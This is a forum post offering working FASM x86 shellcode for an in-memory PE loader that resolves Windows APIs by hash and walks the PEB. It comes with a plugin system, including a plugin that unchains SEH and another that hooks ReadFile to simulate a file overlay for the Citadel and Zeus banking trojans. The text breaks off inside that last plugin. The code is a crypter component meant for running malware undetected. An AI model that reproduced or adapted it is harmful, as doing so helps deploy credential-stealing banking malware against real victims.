Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - 0xDADA11c7

Pages: [1]
1
Assembly - Embedded / [FASM] x86 LoadPE shellcode with plugin support
« on: December 31, 2014, 07:09:12 pm »
This LoadPE shellcode

  • Support TLS
  • Don`t need relocation table
For using it you must to create next data structure:
Code: [Select]
    +========================+
    | _LOADPE structure      |
    +========================+-----+
    | LOADPE SHELLCODE       |     |
    +========================+     |
    | LOADPE PLUGINS         |     } LoadPE chain structure
    +========================+     |
    | END OF CHAIN SIGNATURE |     |
    +========================+
    | END SIGNATURE          |     |
    +========================+-----+
    Original PE file
For using this shellcode you must patch it

loadpe.inc file
Code: [Select]
    macro szHash name, res {
      local ..size, ..result, ..char, ..temp
      ..temp = 0
      ..result = 0
      virtual at 0
        db name, 0x0
        ..size = $
        repeat ..size
          load ..char byte from % - 1
          ..temp = (..temp shr 7) or (..temp shl 25)
          ..result = ..result xor ..temp
          ..temp = (..temp and 0xffffff00) or ..char
        end repeat
      end virtual
      res = ..result and 0xffffffff
    }
     
    struct _3B1P_PLUGIN_HEADER
      signature   db '3B1P'
      wSize       dw ?
      pReturn     dd ?
      pLoadPEData dd ?
      pEntryPoint dw ?
      dwPluginID  dd ?
    ends
     
    struct _LOADPE_DATA
      pCompareHash          dd ?
      pCompareString        dd ?
      pAltGetProcAddress    dd ?
      pGetFileHeader        dd ?
      pLoadLibraryA         dd ?
      pGetModuleHandleA     dd ?
      pVirtualProtect       dd ?
      pOriginalFile         dd ?
      hKernel32             dd ?
      hNtdll                dd ?
      dwOriginalFileSize    dd ?
      dwImageBase           dd ?
      dwShellcodeLen        dd ?
      dwDeepOfStack         dd ?
      dwReserved1           dd ?
      dwReserved2           dd ? 
    ends
     
    struct _LOADPE
      pluginData   db 0x1000 dup (?)
      pluginsQueue db 0x200 dup (?)
      loadpeData   _LOADPE_DATA
    ends
     
    macro __3BIP_PLUGIN_HEADER__ entryPoint, szPluginName {
      szHash szPluginName, hashPluginName
      _PLUGIN_HEADER_:
      _PLUGIN_BEGIN_ = _PLUGIN_HEADER_
      .signature    db '3B1P'
      .wSize        dw _PLUGIN_END_-_PLUGIN_BEGIN_
      .pReturn      dd ?
      .pLoadPEData  dd ?
      .pEntryPoint  dw entryPoint-_PLUGIN_BEGIN_
      .dwPluginID   dd hashPluginName
    }
     
    macro __3BIP_PLUGIN_TAIL__ name {
      _PLUGIN_END_:
      db name, 0x0
    }

Main file - loadpe.asm

Code: [Select]
    use32
    format binary
     
    include '%FASMINC%\win32a.inc'
    include 'pe.inc'
    include 'loadpe.inc'
     
    szHash 'KERNEL32', hashKERNEL32
    szHash 'NTDLL', hashNTDLL
     
    szHash 'LoadLibraryA', hashLoadLibraryA
    szHash 'VirtualProtect', hashVirtualProtect
    szHash 'GetModuleHandleA', hashGetModuleHandleA
    szHash 'VirtualFree', hashVirtualFree
     
    __LOADPE_BEGIN__:
    __LOADPE_PLUGINS_RETURN__ = loadPE_main.__LOADPE_PLUGINS_RETURN__
    start:
     
    jmp loadPE_main
    dwOriginalFileSize    dd 0xBEA51F3D ;
    dwImageBase          dd 0x0
    dwShellcodeLen          dd 0x0
    dwDeepOfStack          dd 0x0
    pOriginalTLSIndex     dd 0x0
     
    proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD, SectionAlignment:DWord
        pusha
        cld
        mov     edx, [pSectionHeader]
        mov     ecx, [edx+IMAGE_SECTION_HEADER.VirtualSize]
        mov     edi, [image_base]
        add     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
        mov     esi, [SectionAlignment]
        add     ecx, esi
        mov     eax, ecx
        xor     edx, edx
        div     esi
        sub     ecx, edx
        xor     eax, eax
        rep     stosb
        mov     edx, [pSectionHeader]
        mov     esi, [pFileImageBase]
        add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
        mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
        mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
        add     edi, [image_base]
        rep     movsb
    .exit:
        popa
        ret
    endp
     
    proc    GetHashSz strz
        push    ecx
        push    ebx
        push    DWord [strz]
        pop     ecx
        xor     ebx, ebx
        push    ebx
    .CalcHash:
        ror     ebx, 7
        xor     [esp], ebx
        mov     bl, Byte [ecx]
        inc     ecx
        cmp     bl, 0x0
        jnz     .CalcHash
        pop     eax
        pop     ebx
        pop     ecx
        ret
    endp
     
    proc loadImportDirectoryTable pAPITable:DWORD, image_base:DWORD, directory_entry:DWORD
     
      local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
     
        pushad
        mov     eax, [directory_entry]
        mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
        add     eax, [image_base]
        ;load the corresponding dll
        mov     ebx, [pAPITable]
        stdcall DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
        test    eax,eax
        jz        .exit_error
        mov     [.dll_image_base],eax
        mov     edx, [directory_entry]
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
        add     eax, [image_base]
        mov     [.import_address_table],eax
        mov     [.lookup_table],eax
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
        test    eax, eax
        jz        .OFTIsNull
        add     eax, [image_base]
        mov     [.lookup_table], eax
    .OFTIsNull:
        xor     ecx, ecx
    .next_lookup_entry:
        mov     eax, DWord [.lookup_table]
        add     eax, ecx
        mov     eax, DWord [eax]
        test    eax, eax
        jz        .exit_success
        test     eax, IMAGE_ORDINAL_FLAG32
        jnz     .byordinal
    .byname:
        add     eax, [image_base]
        lea     eax, [eax+IMAGE_IMPORT_BY_NAME.Name_]
        push    ecx
        stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], [ebx+_LOADPE_DATA.pCompareString], eax
        pop     ecx
        test    eax, eax
        jz        .exit_error
        mov     edx, [.import_address_table]
        mov     [edx+ecx], eax
        add     ecx, 4
        jmp     .next_lookup_entry
    .byordinal:
        and     eax, 0x7FFFFFFF
        push    ecx
        stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], 0x0, eax
        pop     ecx
        mov     edx, [.import_address_table]
        mov     [edx+ecx], eax
        add     ecx, 4
        jmp     .next_lookup_entry
    .exit_success:
        popa
        xor eax,eax
        inc eax
        ret
    .exit_error:
        popad
        xor eax, eax
        ret
    endp
     
    proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
     
     local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD
     
        pusha
        xor     eax, eax
        mov     [.retval], eax
        mov     edx, [pImageFileHeader]
        movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov     [.number_of_sections], eax
        add     edx, sizeof.IMAGE_FILE_HEADER
        mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
        mov     [.image_base], eax
        lea     ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        mov     edx, sizeof.IMAGE_DATA_DIRECTORY
        mul     edx
        add     eax, ebx
        mov     [.section_headers], eax
        mov     eax, sizeof.IMAGE_SECTION_HEADER
        mov     edx, [.number_of_sections]
        mul     edx
        add     eax, [.section_headers]
        mov     ebx, [pFileImageBase]
        sub     eax, ebx
        mov     [.pe_header_size], eax
        mov     ebx, [APITable]
        lea     eax, [.vprotect_ret]
        stdcall    DWord [ebx+_LOADPE_DATA.pVirtualProtect], [.image_base], [.pe_header_size], PAGE_READONLY, eax
        test    eax, eax
        jz        .exit
        mov     ecx, [.number_of_sections]
        mov     ebx, [.section_headers]
    .load_section_loop:
        stdcall    setSection, [APITable], ebx
        test    eax, eax
        jz        .exit
        add     ebx, sizeof.IMAGE_SECTION_HEADER
        loop    .load_section_loop
        inc     [.retval]
    .exit:
        popa
        mov     eax, [.retval]
        ret
    endp
     
    proc    HashCompare szName, dwVal
      local   iResult:DWORD
        pusha
        xor     esi, esi
        mov     DWord [iResult], esi
        stdcall GetHashSz, [szName]
        cmp     DWord [dwVal], eax
        jz        .FoundProcname
        not     DWord [iResult]
    .FoundProcname:
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
     
    proc    loadImportTable pAPITable, image_base
      local   .import_table:DWORD
      local   iResult:DWORD
      local   .null_directory_entry[0x14]:BYTE
        pusha
        push    DWord [image_base]
        pop     edi
        push    DWord [edi + IMAGE_DOS_HEADER.e_lfanew]
        pop     edx
        lea     edx, [edx+edi + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
        mov     edx, DWord [edx+IMAGE_DATA_DIRECTORY.VirtualAddress]
        cmp     edx, 0
        jz      .exit
        add     edx, edi
        push    edx
        pop     DWord [.import_table]
        xor     eax, eax
        mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        lea     edi, [.null_directory_entry]
        rep     stosb
        push    DWord [.import_table]
        pop     ebx
    .next_directory_entry:
        lea     esi, [.null_directory_entry]
        push    ebx
        pop     edi
        mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        rep     cmpsb
        je        .exit
        stdcall loadImportDirectoryTable, [pAPITable], [image_base], ebx
        add     ebx, 0x14
        jmp     .next_directory_entry
    .exit:
        popa
        ret
    endp
    ;        stdcall setSection, [APITable], ebx
     
    proc    setSection pAPITable, pSectionHeader
      local   .vprotect_ret:DWORD
      local   .retval:DWORD
      local   .section_flags:DWORD
        pusha
        mov     DWord [.retval], DWORD 0x0
        push    DWord [pSectionHeader]
        pop     ecx
    ;section execute/read/write?
        mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        jne     .no_execute_read_write
        mov     DWord [.section_flags], PAGE_EXECUTE_READWRITE
        jmp     .set_memory
    .no_execute_read_write:
        mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        jne     .no_execute_read
        mov     DWord [.section_flags], PAGE_EXECUTE_READ
        jmp     .set_memory
    .no_execute_read:
        mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
        cmp     ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
        jne    .no_read_write
        mov     DWord [.section_flags], PAGE_READWRITE
        jmp     .set_memory
    .no_read_write:
        mov     edi, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     edi, IMAGE_SCN_MEM_READ
        cmp     edi, IMAGE_SCN_MEM_READ
        jne     .no_read
        mov     DWord [.section_flags], PAGE_READONLY
        jmp     .set_memory
    .no_read:
        mov     DWord [.section_flags], PAGE_NOACCESS
    .set_memory:
        mov     eax, DWord [pSectionHeader]
        mov     edi, DWord [eax + IMAGE_SECTION_HEADER.VirtualAddress]
        mov     esi, DWord [pAPITable]
        add     edi, DWord [esi+_LOADPE_DATA.dwImageBase]
        lea     edx, [.vprotect_ret]
        mov     ecx, [eax + IMAGE_SECTION_HEADER.VirtualSize]
        stdcall DWord [esi + _LOADPE_DATA.pVirtualProtect], edi, ecx, [.section_flags], edx
        popa
        xor     eax, eax
        inc     eax
        ret
    endp
     
    proc  strToUpcase szString
        pusha
        mov     eax, [szString]
        xor     ebx, ebx
    .up:
        movzx   edx, Byte [eax]
        test    edx, edx
        jz        .down
        cmp     edx, 0x61
        jb        .nextChar
        cmp     edx, 0x7A
        ja        .nextChar
        sub     edx, 0x20
        mov     Byte [eax], dl
    .nextChar:
        inc     eax
        jmp     short .up
    .down:
        popa   
        ret
    endp
     
    proc    AltGetProcAddress pAPITable, hLib, fCompareProc, dwVal
     
      local   dwOrdinal:DWORD
      local   iResult:DWORD
      local   pExportDirectory:DWORD
      local   pExportDirectoryBound:DWORD
      local   szFncName[0x20]:BYTE
      local   szLibName[0x20]:BYTE
     
        pusha
        push    0x0
        pop     DWord [iResult]
        mov     ecx, DWord [hLib]
        cmp     Word [ecx], WORD 0x5a4d
        jne     .End
        movzx   esi, Word [ecx+0x3c]
        add     esi, ecx
        cmp     DWord [esi], DWORD 0x4550 ;check <'PE',0,0>
        jne     .End
        mov     edx, DWord [esi+0x78]
        add     edx, ecx
        mov     DWord [pExportDirectory], edx
        mov     eax, edx
        add     eax, DWord [esi+0x7C]
        mov     DWord [pExportDirectoryBound], eax
        mov     ebx, DWord [edx+0x18]
        xor     esi, esi
        mov     eax, DWord [edx+0x20]
        add     eax, ecx
        cmp     DWord [fCompareProc], 0x0
        jnz     .MainLoop
        mov     esi, DWord [dwVal]
        sub     esi, [edx+0x10]
        mov     DWord [dwOrdinal], esi
        jmp     short .FoundOrdinal
    .MainLoop:
        push    DWord [eax]
        pop     edi
        lea     edi, [ecx+edi]
        push    eax
        stdcall [fCompareProc], edi, [dwVal]
        test    eax, eax
        pop     eax
        jz        .FoundProcname
        add     eax, 0x4
        dec     ebx
        inc     esi
        or        ebx, ebx
        jnz     .MainLoop
        jmp     .End
    .FoundProcname:
        mov     ebx, DWord [pExportDirectory]
        shl     esi, 1
        add     esi, DWord [ebx+0x24]
        movzx   esi, Word [esi+ecx]
        mov     DWord [dwOrdinal], esi
    .FoundOrdinal:
        mov     ebx, DWord [pExportDirectory]
        mov     esi, DWord [dwOrdinal]
        shl     esi, 2
        add     esi, ecx
        add     esi, DWord [ebx+0x1C]
        mov     edi, DWord [esi]
        add     edi, ecx
        mov     DWord [iResult], edi
        cmp     edi, DWord [pExportDirectory]
        jb        .End
        cmp     edi, DWord [pExportDirectoryBound]
        jae     .End
        lea     esi, [szLibName]
    .UpLibName:
        movzx   eax, Byte [edi]
        cmp     eax, '.'
        jz        .EndLibName
        mov     Byte [esi], al
        inc     esi
        inc     edi
        jmp     short .UpLibName
    .EndLibName:
        mov     Byte [esi], 0x0
        lea     eax, [szLibName]
        stdcall strToUpcase, eax
        lea     eax, [szLibName]
        stdcall GetHashSz, eax
        mov     ebx, [pAPITable]
        cmp     eax, hashKERNEL32
        jz        .getKernel32
        cmp     eax, hashNTDLL
        jnz     .callGetModuleHandle
    .getNtdll:
        mov     eax, DWord [ebx + _LOADPE_DATA.hNtdll]
        jmp     short .searchFncName   
    .getKernel32:
        mov     eax, DWord [ebx + _LOADPE_DATA.hKernel32]
        jmp     short .searchFncName
    .callGetModuleHandle:
        mov     DWord [esi], 0x4C4C442E
        mov     Byte [esi+0x4], 0x0
        lea     eax, [szLibName]
        stdcall DWord [ebx + _LOADPE_DATA.pGetModuleHandleA], eax
        cmp     eax, 0
        jnz     .searchFncName
        lea     eax, [szLibName]
        stdcall DWord [ebx + _LOADPE_DATA.pLoadLibraryA], eax
    .searchFncName:
        mov     DWord [hLib], eax
        lea     esi, [szFncName]
        inc     edi
    .UpFncName:
        movzx   eax, Byte [edi]
        test    eax, eax
        jz        .EndFncName
        mov     Byte [esi], al
        inc     esi
        inc     edi
        jmp     short .UpFncName
    .EndFncName:
        mov     Byte [esi], 0x0
        lea     esi, [szFncName]
        cmp     Byte [esi], 0x23
        jz        .forwardingByOrdinal
        stdcall AltGetProcAddress, ebx, [hLib], [ebx + _LOADPE_DATA.pCompareString], esi
        jmp     .foundAddr
    .forwardingByOrdinal:
        inc     esi
        stdcall strtonum, esi
        stdcall AltGetProcAddress, ebx, [hLib], 0x0, eax
    .foundAddr:
        mov     DWord [iResult], eax
    .End:
        popa   
        mov     eax, DWord [iResult]
        ret
    endp
     
    proc    verifyPE pImagePE
      local   iResult:DWORD
        pusha
        xor     edx, edx
        mov     edi, [pImagePE]
        movzx   ecx, Word [edi]
        cmp     ecx, 0x5a4d
        jnz     .Exit
        mov     eax, DWord [edi+IMAGE_DOS_HEADER.e_lfanew]
        add     edi, eax
        cmp     DWord [edi], 0x4550
        jne     .Exit
        add     edi, 0x4
        xchg    edi, edx
    .Exit:
        mov     DWord [esp+0x1C], edx
        popa
        ret
    endp
     
    proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
      local .retval:DWORD
      local .iSectNum:DWORD
      local .pImageOptionalHeader:DWORD
      local .dwOldProtect:DWORD
      local .pSectionHeaders:DWORD
      local .iPEHeaderSize:DWORD
      local .SizeOfImage:DWORD
      local .SectionAlignment:DWORD
     
        pusha
        xor     eax, eax
        mov     [.retval], eax
        mov     ebx, [pAPITable]
        mov     edx, [pImageFileHeader]
        movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov     [.iSectNum], eax
        lea     eax, [edx+sizeof.IMAGE_FILE_HEADER]
        mov     [.pImageOptionalHeader], eax
        push    DWord [eax + IMAGE_OPTIONAL_HEADER32.SectionAlignment]
        pop     DWord [.SectionAlignment]
        mov     eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
        mov     [.SizeOfImage], eax
        lea     eax, [.dwOldProtect]
        stdcall    DWord [ebx+_LOADPE_DATA.pVirtualProtect], DWord [ebx+_LOADPE_DATA.dwImageBase], [.SizeOfImage], PAGE_READWRITE, eax
        test    eax, eax
        jz        .Exit
        cld
        xor     eax, eax
        mov     edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
        mov     ecx, [.SizeOfImage]
        cld
        rep     stosb
        mov     edx, [.pImageOptionalHeader]
        mov     eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        lea     ecx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov     edx, sizeof.IMAGE_DATA_DIRECTORY
        mul     edx
        add     eax, ecx
        mov     [.pSectionHeaders], eax
        mov     eax, sizeof.IMAGE_SECTION_HEADER
        mov     edx, [.iSectNum]
        mul     edx
        mov     ecx, [pFileImageBase]
        add     eax, [.pSectionHeaders]
        sub     eax, ecx
        mov     [.iPEHeaderSize], eax
        mov     edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
        mov     ecx, [.iPEHeaderSize]
        mov     esi, [pFileImageBase]
        rep     movsb
        mov     ecx, [.iSectNum]
        mov     esi, [.pSectionHeaders]
    .load_section_loop:
        stdcall    loadSection, esi, DWord [ebx+_LOADPE_DATA.dwImageBase], [pFileImageBase], [.SectionAlignment]
        test    eax, eax
        jz        .Exit
        add     esi, sizeof.IMAGE_SECTION_HEADER
        dec     ecx
        jnz     .load_section_loop
        inc     [.retval]
    .Exit:
        popa
        mov     eax, [.retval]
        ret
    endp
     
    proc    StringCompare szName, dwVal
      local   iResult:DWORD
        pusha
        xor     edi, edi
        mov     DWord [iResult], edi
        push    DWord [szName]
        pop     edx
        push    DWord [dwVal]
        pop     ecx
    .mainLoop:
        xor     ebx, ebx
        mov     bl, Byte [edx]
        movzx   eax, Byte [ecx]
        cmp     ebx, eax
        jnz     .Err
        test    ebx, ebx
        jz        .FoundProcname
        inc     ecx
        inc     edx
        jmp     .mainLoop
    .Err:
        not     DWord [iResult]
    .FoundProcname:
        popa
        mov     eax, DWord [iResult]
        ret
    endp
     
    proc    loadPE_main
     
      local   pMyAddr:DWORD
      local   pFileHeader:DWORD
      local   pPEImage:DWORD
      local   iResult:DWORD
      local   pOldTLSIndex:DWORD
      local   dwTLSIndexValue:DWORD
      local   pImageBase:DWORD
     
        pusha
        call    .delta
    .delta:
        pop     edi
        sub     edi, .delta - __LOADPE_BEGIN__
        mov     DWord [pMyAddr], edi
        mov     eax, edi
        add     eax, DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
        mov     [pPEImage], eax
        lea     ebx, [edi-sizeof._LOADPE_DATA]
        push    DWord [edi+dwOriginalFileSize-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwOriginalFileSize]
        push    DWord [edi+dwImageBase-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwImageBase]
        push    DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwShellcodeLen-__LOADPE_BEGIN__]
        push    DWord [edi+dwDeepOfStack-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwDeepOfStack-__LOADPE_BEGIN__]
        push    DWord [edi+pOriginalTLSIndex-__LOADPE_BEGIN__]
        pop     DWord [pOldTLSIndex]
        mov     eax, DWord [fs:0x30]
        mov     eax, DWord [eax+0xC]
        mov     eax, DWord [eax+0x1C]
        push    DWord [eax+0x8]
        pop     DWord [ebx+_LOADPE_DATA.hNtdll]
        push    DWord [pPEImage]
        pop     DWord [ebx+_LOADPE_DATA.pOriginalFile]
        lea     eax, [edi+StringCompare-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pCompareString], eax
        lea     eax, [edi+HashCompare-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pCompareHash], eax
        lea     eax, [edi+verifyPE-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pGetFileHeader], eax
        call    GetK32
        mov     DWord [ebx+_LOADPE_DATA.hKernel32], eax
        lea     eax, [edi+AltGetProcAddress-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pAltGetProcAddress], eax
        stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashLoadLibraryA
        mov     DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
        stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashVirtualProtect
        mov     DWord [ebx+_LOADPE_DATA.pVirtualProtect], eax
        stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashGetModuleHandleA
        mov     DWord [ebx+_LOADPE_DATA.pGetModuleHandleA], eax
        lea     eax, [iResult]
        stdcall verifyPE, [pPEImage]
        test    eax, eax
        jz        .End
        push    eax
        pop     DWord [pFileHeader]
        stdcall loadFile, ebx, [pFileHeader], [pPEImage]
        test    eax, eax
        jz        .End
        stdcall loadImportTable, ebx, [ebx+_LOADPE_DATA.dwImageBase]
        stdcall setPermissions, ebx, [pFileHeader], [pPEImage]
        mov     eax, edi
        add     eax, __LOADPE_END__-__LOADPE_BEGIN__
        mov     ecx, edi
        sub     ecx, sizeof._LOADPE - _LOADPE.pluginsQueue
        mov     esi, [pFileHeader]
        mov     esi, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
        add     esi, [ebx+_LOADPE_DATA.dwImageBase]
        stdcall FillPluginQueue, eax, ecx, ebx, esi
        pusha
        jmp     ecx
    .__LOADPE_PLUGINS_RETURN__:
    .End:
        popa
        mov     eax, DWord [iResult]
        ret
    endp
     
    proc    GetK32
      local   iResult:DWORD
        pusha
        mov     eax, DWord [fs:0x30]
        mov     eax, DWord [eax+0xC]
        mov     eax, DWord [eax+0x1C]
    .NextModule:
        push    DWord [eax+0x8]
        pop     DWord [iResult]
        push    DWord [eax+0x20]
        pop     ebx
        mov     eax, DWord [eax]
        movzx   ecx, Byte [ebx+0x18]
        cmp     ecx, 0x0
        jne     .NextModule
        movzx   ecx, Byte [ebx]
        cmp     ecx, 0x6b
        je        .Found_K32
        cmp     ecx, 0x4b
        jne     .NextModule
    .Found_K32:
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
     
    proc strtonum strz
        pusha
        mov     edi, [strz]
        stdcall strlen, edi
        test    eax, eax
        jz        .err
        xchg    ecx, eax
        lea     esi, [edi+ecx-0x1]
        xor     edi, edi
        mov     ebx, edi
    .up:
        push    ebx
        test    ebx, ebx
        jz        .isZero
        mov     eax, 0xA
        jmp     .loopUp
    .isZero:
        xor     eax, eax
        inc     eax
        jmp     short .endPower
    .loopUp:
        dec     ebx
        jz        short .endPower
        mov     edx, 0xA
        mul     edx
        jmp     short .loopUp
    .endPower:
        pop     ebx
        movzx   edx, Byte [esi]
        cmp     edx, 0x30
        jb        .err
        cmp     edx, 0x39
        ja        .err
        sub     edx, 0x30
        mul     edx
        add     edi, eax
        inc     ebx
        dec     esi
        dec     ecx
        jnz     .up
        xchg    eax, edi
        clc
        jmp     .exit
    .err:
        xor     eax, eax
        stc
    .exit:
        mov     DWord [esp+0x1C], edi
        popa
        ret
    endp
     
    proc strlen s
        pusha
        cld
        mov     esi, [s]
        xor     eax, eax
        mov     ecx, eax
    .up:
        lodsb
        test    eax, eax
        je        short .down
        inc     ecx
        jmp     short .up
    .down:
        mov     [esp+0x1C], ecx
        popa
        ret
    endp
     
    proc LoadTLSIndex pImageBase, pOldTLSIndex, pDwTLSIndexValue
        pusha
        mov      ebx, [pOldTLSIndex]   
        cmp      ebx, 0h
        jz       .e
        stdcall  verifyPE, [pImageBase]
        add      eax, sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY*0x9
        mov      eax, DWord [eax]
        add      eax, [pImageBase]
        mov      eax, DWord [eax+0x8]
        mov      eax, DWord [eax]
        mov      edx, [pDwTLSIndexValue]
        mov      DWord [edx], eax
    .e:
        popa
        ret
    endp
     
    proc FillPluginQueue pFirstChain, pPluginQueueCmds, pLoadPEData, pReturn
         mov     edi, [pPluginQueueCmds]
         mov     esi, [pFirstChain]
         mov     edx, DWord [pLoadPEData]
    .up:
         cmp     DWord [esi], 0x4B504134
         jnz     .checkPlugin
         cmp     Word [esi+0x4], 0x41
         jz      .end
    .checkPlugin:
         cmp     DWord [esi], 0x50314233
         jnz     .end
         mov     Byte [edi], 0xBE
         mov     DWord [edi+0x1], esi
         mov     Byte [edi+0x5], 0xBF
         mov     DWord [esi+_3B1P_PLUGIN_HEADER.pLoadPEData], edx
         mov     DWord [edi+0x6], edx
         mov     Byte [edi+0xA], 0xB8
         movzx   ecx, Word [esi+_3B1P_PLUGIN_HEADER.pEntryPoint]
         mov     eax, ecx
         add     eax, esi
         mov     DWord [edi+0xB], eax
         mov     Word [edi+0xF], 0xE0FF
         add     edi, 0x11
         mov     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn], edi
         movzx   ecx, Word [esi+_3B1P_PLUGIN_HEADER.wSize]
         add     esi, ecx
         jmp     .up
    .end:
         mov     Byte [edi], 0x68
         push    [pReturn]
         pop     DWord [edi+0x1]
         mov     Byte [edi+0x5], 0xC3
         jmp     DWord [pPluginQueueCmds]
    endp
     
    __LOADPE_END__:

Plugin for unchain SEH with restore original (system) handler exception and restore stack to original state (it can be changed by RTL start code)

Code: [Select]
    include '%FASMINC%\Win32a.inc'
    include 'loadpe.inc'
    szHash 'UnhandledExceptionFilter', hashUnhandledExceptionFilter
     
    org 0x0
    use32
    __3BIP_PLUGIN_HEADER__ start, 'RESTORESEH'
    pUnhandledExceptionFilter dd 0
    start:
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashUnhandledExceptionFilter
         xor     edx, edx
         dec     edx
         mov     eax, DWord [fs:0]
    .unchain:
         cmp     DWord [eax], edx
         jz      .down
         mov     eax, DWord [eax]
         jmp     short .unchain
    .down:
         mov     DWord [fs:0], eax
         add     esp, DWord [edi+_LOADPE_DATA.dwDeepOfStack]
         jmp     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]
    __3BIP_PLUGIN_TAIL__ 'RESTORESEH'

Plugin for EOF (overlay) simulation for Сitadel and Zeus.

Code: [Select]
    include '%FASMINC%\Win32a.inc'
    include 'loadpe.inc'
    include 'pe.inc'
     
    szHash 'ReadFile', hashReadFile
    szHash 'CreateFileW', hashCreateFileW
    szHash 'GetFileSizeEx', hashGetFileSizeEx
    szHash 'lstrcmpiW', hashlstrcmpiW
    szHash 'SetLastError', hashSetLastError
     
     
    org 0x0
    use32
     
    __3BIP_PLUGIN_HEADER__ start, 'CITADEL'
     
    proc ReadFile_Hook hFile, lpBufer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped
         pusha
         call    .delta
    .delta:
         pop     ebx
         sub     ebx, .delta-_PLUGIN_BEGIN_
         cmp     DWord [ebx+hFileExec], 0x0
         jz      .readOriginal
         mov     eax, DWord [ebx+hFileExec]
         cmp     eax, [hFile]
         jnz     .readOriginal
         mov     edi, DWord [lpBufer]
         mov     esi, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
         mov     ecx, [nNumberOfBytesToRead]
         mov     esi, [esi+_LOADPE_DATA.pOriginalFile]
         cld
         rep     movsb
         mov     eax, [lpNumberOfBytesRead]
         mov     edx, [nNumberOfBytesToRead]
         mov     DWord [eax], edx
         mov     eax, [ebx+_ReadFile]
         mov     edx, [ebx+pIAT_ReadFile]
         mov     DWord [edx], eax
         stdcall DWord [ebx+_SetLastError], 0x0
         xor     eax, eax
         inc     eax
         jmp     short .end
    .readOriginal:
         stdcall DWord [esi+_ReadFile], [hFile], [lpBufer], [nNumberOfBytesToRead], [lpNumberOfBytesRead], [lpOverlapped]
    .end:
         mov     DWord [esp+0x1C], eax
         popa
         ret
    endp
     
